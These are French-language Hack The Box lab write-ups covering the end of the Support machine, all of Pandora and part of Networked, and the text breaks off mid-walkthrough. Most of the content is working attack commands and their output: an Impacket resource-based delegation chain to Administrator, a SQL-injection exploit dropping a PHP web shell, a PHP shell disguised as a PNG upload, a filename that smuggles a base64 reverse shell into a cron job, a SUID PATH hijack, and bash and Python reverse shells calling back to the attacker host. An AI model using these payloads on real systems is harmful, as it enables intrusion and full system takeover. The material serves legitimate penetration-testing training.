14
15
16
17
18
19


$ ldapsearch -x -H ldap://10.10.11.174 -D "support\ldap" -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "sAMAccountName.*support" -A10 -B25
distinguishedName: CN=support,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111200.0Z
whenChanged: 20220528111201.0Z
uSNCreated: 12617
info: Ironside47pleasure40Watchful # <<<<<-------- HERE
memberOf: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=support,DC=htb
uSNChanged: 12630
...
lastLogon: 0
pwdLastSet: 132982099209777070
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILUQQAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: support
...

Privilege Escalation

Generic All on DC : Resource-Based Constrained Delegation Attack

Nous avons observé auparavant que support appartient à un groupe ayant le droite “GENERIC ALL” sur le DC.
Il faut alors exploiter une Resource-Based Constrained Delegation Attack.

En utilisant les conseils donnés par bloodhound, voici un exemple d’exploitation :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45


# First, if an attacker does not control an account with an SPN set, a new attacker-controlled computer account can be added with Impacket's addcomputer.py example script:
$ addcomputer.py -computer-name 'HACKED$' -computer-pass 'hacked123!' -dc-host DC.SUPPORT.HTB -domain-netbios support.htb support.htb/'support':'Ironside47pleasure40Watchful'

[*] Successfully added machine account HACKED$ with password hacked123!.

# We now need to configure the target object so that the attacker-controlled computer can delegate to it. Impacket's rbcd.py script can be used for that purpose:
$ rbcd.py -delegate-from "HACKED$" -delegate-to 'DC$' -dc-ip "10.10.11.174" -action write "support.htb"/"support":'Ironside47pleasure40Watchful'

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] HACKED$ can now impersonate users on DC$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] HACKED$ (S-1-5-21-1677581083-3380853377-188903654-5601)

# And finally we can get a service ticket for the service name (sname) we want to "pretend" to be "admin" for. Impacket's getST.py example script can be used for that purpose.
$ getST.py -spn CIFS/dc.support.htb -impersonate Administrator -dc-ip "10.10.11.174" "support.htb"/'HACKED$':'hacked123!'

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@CIFS_dc.support.htb@SUPPORT.HTB.ccache

$ mv Administrator@CIFS_dc.support.htb@SUPPORT.HTB.ccache admin.ccache
$ export KRB5CCNAME="admin.ccache"

# This ticket can then be used with Pass-the-Ticket, and could grant access to the file system of the TARGETCOMPUTER.
$ psexec.py -k -no-pass support.htb/Administrator@dc.support.htb

[*] Requesting shares on dc.support.htb.....
[*] Found writable share ADMIN$
[*] Uploading file phZHHPqE.exe
[*] Opening SVCManager on dc.support.htb.....
[*] Creating service YbSC on dc.support.htb.....
[*] Starting service YbSC.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.859]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> type C:\Users\support\Desktop\user.txt
1e30.....0c23

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
a848.....12cf

Tips

Je n’ai pas trouvé le mot de passe de l’utilisateur support avec ldapsearch.

Conseil: Après de longues recherches sur bloodhound, si on trouve un compte et/ou un groupe intéressant, toujours les analyser avec ldapsearch après, pour vérifier qu’il n’y pas d’infos supplémentaires tel qu’un mot de passe dans une variable de description par exemple.

HTB | Pandora

Fri, 05 Sep 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Pandora	Linux	10.10.11.136	Easy

Users

1

daniel : HotelBabylon23

Enumeration

nmap TCP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


$ nmap -sC -sV -An -T4 -vvv -p- 10.10.11.136
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 24c295a5c30b3ff3173c68d7af2b5338 (RSA)
| ssh-rsa AAAAB3...........Dd8TnI/DFFs=
| 256 b1417799469a6c5dd2982fc0329ace03 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLX..........Dea3F/CxfOQeqLpanqso/EqXcT9w=
| 256 e736433ba9478a190158b2bc89f65108 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOCMYY9DMj/I+Rfosf+yMuevI7VFIeeQfZSxq67EGxsb
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-favicon: Unknown favicon MD5: 115E49F9A03BB97DEB840A3FE185434C
|_http-title: Play | Landing
|_http-server-header: Apache/2.4.41 (Ubuntu)

Website (port 80)

Rien d’intéressant ! Le site est basé sur une template bootstrap, mais rien a signalé. Pas de fichiers suspects, pas de CVE, pas de XSS ou d’injection SQL.

nmap UDP

Après un scan du top 1000 des ports UDP, on remarque le port 161 avec un serveur SNMP :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45


$ nmap -sU -sV --top-ports 1000 -T4 -vvv 10.10.11.136
PORT STATE SERVICE REASON VERSION
23/udp open|filtered telnet no-response
161/udp open snmp udp-response ttl 63 SNMPv1 server; net-snmp SNMPv3 server (public)
177/udp open|filtered xdmcp no-response
520/udp open|filtered route no-response
539/udp open|filtered apertus-ldp no-response
688/udp open|filtered realm-rusd no-response
782/udp open|filtered hp-managed-node no-response
983/udp open|filtered unknown no-response
1026/udp open|filtered win-rpc no-response
1038/udp open|filtered mtqp no-response
1419/udp open|filtered timbuktu-srv3 no-response
1719/udp open|filtered h323gatestat no-response
2161/udp open|filtered apc-2161 no-response
2967/udp open|filtered symantec-av no-response
4008/udp open|filtered netcheque no-response
5001/udp open|filtered commplex-link no-response
6004/udp open|filtered X11:4 no-response
16739/udp open|filtered unknown no-response
17585/udp open|filtered unknown no-response
17823/udp open|filtered unknown no-response
18485/udp open|filtered unknown no-response
18987/udp open|filtered unknown no-response
19140/udp open|filtered unknown no-response
19315/udp open|filtered keyshadow no-response
19632/udp open|filtered unknown no-response
19682/udp open|filtered unknown no-response
20003/udp open|filtered commtact-https no-response
20004/udp open|filtered unknown no-response
20791/udp open|filtered unknown no-response
21320/udp open|filtered unknown no-response
21524/udp open|filtered unknown no-response
21923/udp open|filtered unknown no-response
22053/udp open|filtered unknown no-response
27899/udp open|filtered unknown no-response
31625/udp open|filtered unknown no-response
32772/udp open|filtered sometimes-rpc8 no-response
33354/udp open|filtered unknown no-response
37393/udp open|filtered unknown no-response
40708/udp open|filtered unknown no-response
44508/udp open|filtered unknown no-response
49152/udp open|filtered unknown no-response
49222/udp open|filtered unknown no-response
Service Info: Host: pandora

Foothold

snmpwalk : daniel

On utilise le logiciel snmpwalk pour afficher diverses informations :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


$ snmpwalk -v2c -c public 10.10.11.136
iso.3.6.1.2.1.1.1.0 = STRING: "Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (243441) 0:40:34.41
iso.3.6.1.2.1.1.4.0 = STRING: "Daniel"
iso.3.6.1.2.1.1.5.0 = STRING: "pandora"
iso.3.6.1.2.1.1.6.0 = STRING: "Mississippi"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (34) 0:00:00.34
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.10.3.1.1
...
$ snmpwalk -v2c -c public 10.10.11.136 > snmpwalk.out
$ grep -rni string snmpwalk.out
...
1867:iso.3.6.1.2.1.25.4.2.1.5.962 = STRING: "--no-debug"
1868:iso.3.6.1.2.1.25.4.2.1.5.977 = STRING: "-k start"
1869:iso.3.6.1.2.1.25.4.2.1.5.1085 = STRING: "-u daniel -p HotelBabylon23" <----------
1870:iso.3.6.1.2.1.25.4.2.1.5.1225 = STRING: "-k start"
...

On trouve les credentials de l’utilisateur Daniel. En essayant de se connecter en SSH, ça fonctionne :

1
2
3
4
5
6
7
8
9


$ ssh daniel@10.10.11.136
daniel@10.10.11.136's password:

Last login: Fri Sep 5 12:29:55 2025 from 10.10.14.8
-bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
daniel@pandora:~$ whoami
daniel
daniel@pandora:~$ ls /home/
daniel matt

On découvre alors l’utilisateur matt.

daniel -> matt

Pandora CMS v7.0NG.742

On trouve un dossier “pandora_console” dans /var/www. On se rend compte dans /etc/host qu’il semble y a avoir un deuxieme site web sur 127.0.0.1:80. J’ai décidé de faire du port forwarding pour accéder au site web depuis mon navigateur sur le port 8888 de ma machine :

1

ssh daniel@10.10.11.136 -L 8888:127.0.0.1:80

On trouve alors une page de login Pandora CMS v7.0NG.742.

CVE-2021-32099

Après quelque recherches, on trouve plusieurs CVE dont une injection SQL : CVE-2021-32099.

Elle nous permet de se connecter en tant qu’admin et de téléverser un fichier php nous permettant d’executer du code sur la machine en tant que l’utilisateur matt.

Exploit : https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated/tree/master

J’ai pu utiliser un exploit déjà écrit, qui execute l’injection SQL et upload directement un fichier php pour nous. Il nous donne un shell non-interactif.

J’ai executé un reverse shell, que j’ai converti en base64 puis j’ai URL encoded le tout car je sais que le script python fait une requete GET sur le fichier php et passe mes commandes dans l’URL.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


python3 sqlpwn.py -t 127.0.0.1:8888
URL: http://127.0.0.1:8888/pandora_console
[+] Sending Injection Payload
[+] Requesting Session
[+] Admin Session Cookie : lkgcnm6itdo17dmogbhc6733j1
[+] Sending Payload
[+] Respose : 200
[+] Pwned :)
[+] If you want manual Control : http://127.0.0.1:8888/pandora_console/images/pwn.php?test=
CMD > bash -i >& /dev/tcp/10.10.14.8/1337 0>&1

CMD > echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC44LzEzMzcgMD4mMQ%3D%3D%20%7C%20base64%20-d%20%7C%20bash

--------------------------------------

$ nc -lnvp 1337
matt@pandora:/var/www/pandora/pandora_console/images$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<ges$ python3 -c 'import pty;pty.spawn("/bin/bash")'
matt@pandora:/var/www/pandora/pandora_console/images$ export TERM=xterm
export TERM=xterm
matt@pandora:/var/www/pandora/pandora_console/images$ ^Z
[1] + 27546 suspended nc -lnvp 1337
$ stty raw -echo;fg
[1] + 27546 continued nc -lnvp 1337
matt@pandora:/var/www/pandora/pandora_console/images$ whoami
matt
matt@pandora:/var/www/pandora/pandora_console/images$ cd /home/matt
matt@pandora:/home/matt$ cat user.txt
2251.....82e1

Pandora Database Creds

J’ai trouvé le mot de passe de la base de donnée mysql mais impossible de cracker les hachages. Sauf celui de daniel, qui correspond bien au même mot de passe qu’en SSH.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


matt@pandora:~$ cat /var/www/pandora/pandora_console/include/config.php
<?php
// File generated by centos kickstart
$config["dbtype"] = "mysql";
$config["dbname"]="pandora";
$config["dbuser"]="pandora";
$config["dbpass"]="PandoraFMSSecurePass2021";
$config["dbhost"]="localhost";
$config["homedir"]="/var/www/pandora/pandora_console";
$config["homeurl"]="/pandora_console";
error_reporting(0);
$ownDir = dirname(__FILE__) . '/';
include ($ownDir . "config_process.php");
?>

-------------------

MariaDB [pandora]> select email,password from tusuario;
+--------------------+----------------------------------+
| email | password |
+--------------------+----------------------------------+
| admin@pandora.htb | ad3f741b04bd5880fb32b54bc4f43d6a |
| daniel@pandora.htb | 76323c174bd49ffbbdedf678f6cc89a6 |
| matt@pandora.htb | f655f807365b6dc602b31ab3d6d43acc |
+--------------------+----------------------------------+
3 rows in set (0.000 sec)

matt -> root

SSH session

Dans un premier temps, j’ai essayé d’executer “sudo -l”, mais une erreur bizarre s’affiche :

1
2
3


matt@pandora:/home/matt/.ssh$ sudo -l
sudo: PERM_ROOT: setresuid(0, -1, -1): Operation not permitted
sudo: unable to initialize policy plugin

J’ai donc décidé de générer une paire de clés et de me connecter à matt en utilisant SSH pour plus de stabilité. Cela va avoir son importance pour l’exploitation :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


$ ssh-keygen -t rsa -b 4096 -f matt
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in matt
Your public key has been saved in matt.pub
The key fingerprint is:
SHA256:BH80icivzuGhGoIvDyqROBTJ3Yos2GjweEF7u2FwJrI root@exegol-pentest
The key's randomart image is:
+---[RSA 4096]----+
|..+ .... .o. |
|.+.o .oo.... |
|==*.= .o . |
|=B+B . ... |
|Eo + .S |
|* . o+ |
|+o. .= o |
|++ .. + |
|oo+. |
+----[SHA256]-----+

$ ssh matt@10.10.11.136 -i matt

Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64)

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

-bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
matt@pandora:~$ sudo -l
[sudo] password for matt: # On observe bien qu'il n'y a plus d'erreur ici
matt@pandora:~$

/usr/bin/pandora_backup

En utilisant linpeas, on découvre un binaire SUID suspect /usr/bin/pandora_backup. Après analyse du binaire, il semble execute la commande tar en tant que root.

Il n’utilise pas un path absolu, comme par exemple “/bin/tar”, ce qui va nous permettre de faire une attaque de type PATH injection :

Voici le code décompilé :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


int __cdecl main(int argc, const char **argv, const char **envp)
{
 __uid_t v3; // ebx
 __uid_t v4; // eax

 v3 = getuid();
 v4 = geteuid();
 setreuid(v4, v3);
 puts("PandoraFMS Backup Utility");
 puts("Now attempting to backup PandoraFMS client");
 if ( system("tar -cvf /root/.backup/pandora-backup.tar.gz /var/www/pandora/pandora_console/*") )
 {
 puts("Backup failed!\nCheck your permissions!");
 return 1;
 }
 else
 {
 puts("Backup successful!");
 puts("Terminating program!");
 return 0;
 }
}

Le problème majeur de cette box, est que si on se connecte pas en SSH, le binaire SUID ne s’execute pas en tant que root et il y a une erreur Permission Denied :

1
2
3
4
5
6
7


matt@pandora:/home/matt/.ssh$ /usr/bin/pandora_backup
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client
tar: /root/.backup/pandora-backup.tar.gz: Cannot open: Permission denied
tar: Error is not recoverable: exiting now
Backup failed!
Check your permissions!

En utilisant SSH, le problème disparait et la commande tar s’execute bien en tant que root.
Le binaire SUID est désormais exploitable :

1
2
3
4
5


matt@pandora:~$ /usr/bin/pandora_backup
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client
Backup successful!
Terminating program!

Voici un exemple d’exploitation simple. On crée un fichier “tar” contenant la commande /bin/bash, on lui donne les droits en execution et on place le dossier où il se trouve (home directory de matt) au debut dans la variable $PATH. Lorsqu’on execute which on observe bien que notre tar à remplacer la véritable commande. Il ne reste plus qu’a executer notre binaire SUID pandora_backup pour obtenir un shell en tant que root :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


matt@pandora:~$ echo "/bin/bash" > tar
matt@pandora:~$ chmod +x tar
matt@pandora:~$ export PATH=/home/matt:$PATH
matt@pandora:~# which tar
/home/matt/tar
matt@pandora:~$ /usr/bin/pandora_backup
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client
root@pandora:~# whoami
root
root@pandora:~# cat /root/root.txt
fd9c.....291d

Tips

Toujours lancer un scan des ports UDP : D’abord un petit scan, puis un gros si on ne trouve rien d’autre.
Si le port SSH est ouvert : toujours essayer de générer une paire clés SSH, placé le .pub dans authorized_keys et effectuer une connexion. Sur cette boxe, il était un impossible de faire sudo -l. Un bug empêchant d’exploiter le binaire pandora_backup SUID. A travers la session SSH, le bug n’était plus présent. Donc dans le doute : toujours tenter une connexion SSH.

Pour savoir s’il est possble de se connecter en ssh, en utilisant une paire de clés il faut vérifier le fichier de configuration ssh coté serveur : /etc/ssh/sshd_config Si :

#PubkeyAuthentication yes –> Commenté, valeur par défaut “yes”, donc c’est possible
#AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2 –> commenté, par défaut “.ssh/authorized_keys” donc c’est Okay
AllowUsers daniel matt –> Seulement ces utilisateurs peuvent se connecter en ssh
UsePAM yes –> le mot de passe classique fonctionne via PAM mais ça ne bloque pas les clés pour autant

HTB | Networked

Thu, 04 Sep 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Networked	Linux	10.10.10.146	Easy

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


$ nmap -sC -sV -An -T4 -vvv -p- 10.10.10.146
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 2275d7a74f81a7af5266e52744b1015b (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFgr+LYQ5zL9JWnZmjxP7FT1134sJla89HBT+qnqNvJQRHwO7IqPSa5tEWGZYtzQ2BehsEqb/PisrRHlTeatK0X8qrS3tuz+l1nOj3X/wdcgnFXBrhwpRB2spULt2YqRM49aEbm7bRf2pctxuvgeym/pwCghb6nSbdsaCIsoE+X7QwbG0j6ZfoNIJzQkTQY7O+n1tPP8mlwPOShZJP7+NWVf/kiHsgZqVx6xroCp/NYbQTvLWt6VF/V+iZ3tiT7E1JJxJqQ05wiqsnjnFaZPYP+ptTqorUKP4AenZnf9Wan7VrrzVNZGnFlczj/BsxXOYaRe4Q8VK4PwiDbcwliOBd
| 256 2d6328fca299c7d435b9459a4b38f9c8 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAsf1XXvL55L6U7NrCo3XSBTr+zCnnQ+GorAMgUugr3ihPkA+4Tw2LmpBr1syz7Z6PkNyQw6NzC3KwSUy1BOGw8=
| 256 73cda05b84107da71c7c611df554cfc4 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILMrhnJBfdb0fWQsWVfynAxcQ8+SNlL38vl8VJaaqPTL
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https reset ttl 63

Foothold

Website : Port 80

En arrivant sur le site, on trouve le message suivant.

1
2
3


Hello mate, we're building the new FaceMash!
Help by funding us and be the new Tyler&Cameron!
Join us at the pool party this Sat to get a glimpse

dirsearch : /backup.tar, /upload.php

A la racine du site internet, on trouve une archive backup.tar contenant les sources du site internet. De plus, on découvre une page nous permettant d’uploader des images et une page pour les observer “photos.php”. Un dossier /uploads semble contenir les photos téléchargées.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


dirsearch -u http://10.10.10.146

 _|. _ _ _ _ _ _|_ v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289

Target: http://10.10.10.146/

[13:59:45] Scanning:
[13:59:53] 301 - 235B - /backup -> http://10.10.10.146/backup/
[13:59:53] 200 - 885B - /backup/
[13:59:53] 403 - 210B - /cgi-bin/
[13:59:55] 200 - 229B - /index.php
[13:59:55] 200 - 229B - /index.php/login/
[13:59:57] 200 - 1KB - /photos.php
[14:00:00] 200 - 169B - /upload.php
[14:00:00] 301 - 236B - /uploads -> http://10.10.10.146/uploads/
[14:00:00] 200 - 2B - /uploads/

Task Completed

File Upload : RCE

Après avoir analysé le code source récupéré dans le backup.tar, on se rend compte qu’il existe un endoit /photos.php permettant d’observer les images uploader sur la page /upload.php.

Après quelque tests et analyse du code php, on réussi à uploader un fichier php et a executer du code. Pour cela, j’ai dans un premier temps uploader une veritable image png, puis j’ai changer l’extension en “.php.png”. Ensuite, il a fallu supprimer le texte de l’image et le remplacer par du code PHP. Le plus important était de conserver le magic byte “PNG”, c’est à dire les premiers octets de l’image permettant de reconnaitre qu’il s’agit bien d’une image PNG.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


POST /upload.php HTTP/1.1
Host: 10.10.10.146
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------19843469784126652896583145162
Content-Length: 383
Origin: http://10.10.10.146
Connection: keep-alive
Referer: http://10.10.10.146/upload.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------19843469784126652896583145162
Content-Disposition: form-data; name="myFile"; filename="htb-logo.php.png"
Content-Type: image/png

PNG

<?php system($_REQUEST['cmd']); ?>
-----------------------------19843469784126652896583145162
Content-Disposition: form-data; name="submit"

go!
-----------------------------19843469784126652896583145162--

Pour obtenir un reverse shell de qualité, j’ai upload ensuite le code “Reverse shell Pentest Monnkey” afin d’obtenir un shell stable :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


$ nc -lnvp 1337
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:56866.
Linux networked.htb 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 14:59:42 up 1:04, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
bash: no job control in this shell
bash-4.2$ whoami
apache

apache -> guly

Improper sanitization : Command Injection

A la racine de du /home de l’utilisateur guly, on trouve un fichier check_attack.php ainsi qu’une crontab montrant que l’utilisateur guly execute ce fichier php toute les 3mns.

On comprend qu’il parcourt le fichier /uploads du site web, si le nom du fichier ne contient pas une IP valide, il execute une commande pour supprimer le fichier.

Cependant, on remarque qu’il utilise la fonction exec() avec /bin/rm, au lieu d’utiliser une fonction php classique permettant la suppression d’un fichier. Cela nous permet de créer un fichier avec des “;” permettant l’execution de n’importe quelle commande Bash !

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40


bash-4.2$ cat check_attack.php

<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
 $msg='';
 if ($value == 'index.html') {
 continue;
 }
 #echo "-------------\n";

 #print "check: $value\n";
 list ($name,$ext) = getnameCheck($value);
 $check = check_ip($name,$value);

 if (!($check[0])) {
 echo "attack!\n";
 # todo: attach file
 file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

 exec("rm -f $logpath");
 exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
 echo "rm -f $path$value\n";
 mail($to, $msg, $msg, $headers, "-F$value");
 }
}

?>

bash-4.2$ cat crontab.guly
*/3 * * * * php /home/guly/check_attack.php

Voici un exemple de nom de fichier nous permettant d’executer un reverse shell facilement :

1
2
3
4
5
6
7
8


cd /var/www/html/uploads
touch 'a; echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yLzkwMDEgMD4mMQ== | base64 -d | bash; ls'

# Voici la commande
# nohup /bin/rm -f $path$value > /dev/null 2>&1 &

# Voici ce que le programme va reellement executer
nohup /bin/rm -f /var/www/html/uploads/a; echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yLzkwMDEgMD4mMQ== | base64 -d | bash; ls > /dev/null 2>&1 &

On obtient bien un shell en tant que guly :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


$ nc -lnvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:47670.
bash: no job control in this shell
[guly@networked ~]$ whoami
whoami
guly
[guly@networked ~]$ python2 -c 'import pty;pty.spawn("/bin/bash")'
python2 -c 'import pty;pty.spawn("/bin/bash")'
[guly@networked ~]$ export TERM=xterm
export TERM=xterm
[guly@networked ~]$ ^Z
[1] + 4656 suspended nc -lnvp 9001
 $ stty raw -echo;fg
[1] + 4656 continued nc -lnvp 9001

[guly@networked ~]$
[guly@networked ~]$ ls
check_attack.php crontab.guly k user.txt
[guly@networked ~]$ cat user.txt
37e0.....3b8

guly -> root

Enumeration

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


[guly@networked ~]$ cat /etc/sysconfig/network-scripts/ifcfg-guly
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
NAME=ps /tmp/foo
PROXY_METHOD=asodih
BROWSER_ONLY=asdoih
BOOTPROTO=asdoih
[guly@networked ~]$ sudo -l
Matching Defaults entries for guly on networked:
 !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
 env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
 env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
 env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
 env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
 env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
 secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User guly may run the following commands on networked:
 (root) NOPASSWD: /usr/local/sbin/changename.sh

/usr/local/sbin/changename.sh

Le script nous demande de renseigner plusieurs valeur: NAME, PROXY_METHOD…

Ces valeurs sont mises dans un fichier : /etc/sysconfig/network-scripts/ifcfg-guly
Ensuite, la commande suivante est executé : /sbin/ifup guly0

Ce fichier permet donc de configurer une interface, puis de l’activer “/sbin/ifup INTERFACE”.

Après quelques recherches sur internet, et d’après l’indication fournis, il semble qu’une injection de commande soit possible dans le fichier de l’interface. En fait, chaque ligne est executé comme du code Bash.

Donc lorsqu’on ecrit :

NAME=VALUE COMMAND ARGS

NAME prend bien la valeur VALUE, mais ce qui suit est executé comme une commande, on peut même passer des arguments si necessaire.

Lorsque qu’on allume l’interface, le code Bash malicieux est tout de suite executé.

On remarque pourtant un filtre mais il n’est pas suffisant.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


[guly@networked ~]$ cat /usr/local/sbin/changename.sh
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
 echo "interface $var:"
 read x
 while [[ ! $x =~ $regexp ]]; do
 echo "wrong input, try again"
 echo "interface $var:"
 read x
 done
 echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done

/sbin/ifup guly0

[guly@networked ~]$ cat /etc/sysconfig/network-scripts/ifcfg-guly
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
NAME=ps /tmp/foo
PROXY_METHOD=eee
BROWSER_ONLY=eee
BOOTPROTO=eee

Command Injection

On crée un fichier “/tmp/shell” avec un code pour ouvrir un reverse shell. Ici, j’ai choisi d’utiliser un reverse shell python. Mais un code Bash classique pouvait fonctionner aussi.

1
2


[guly@networked ~]$ cat /tmp/shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.2",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

Ensuite, on execute notre programme avec sudo, et on précise une valeur pour la variable suivi du nom de notre programme pour ouvrir le reverse shell :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


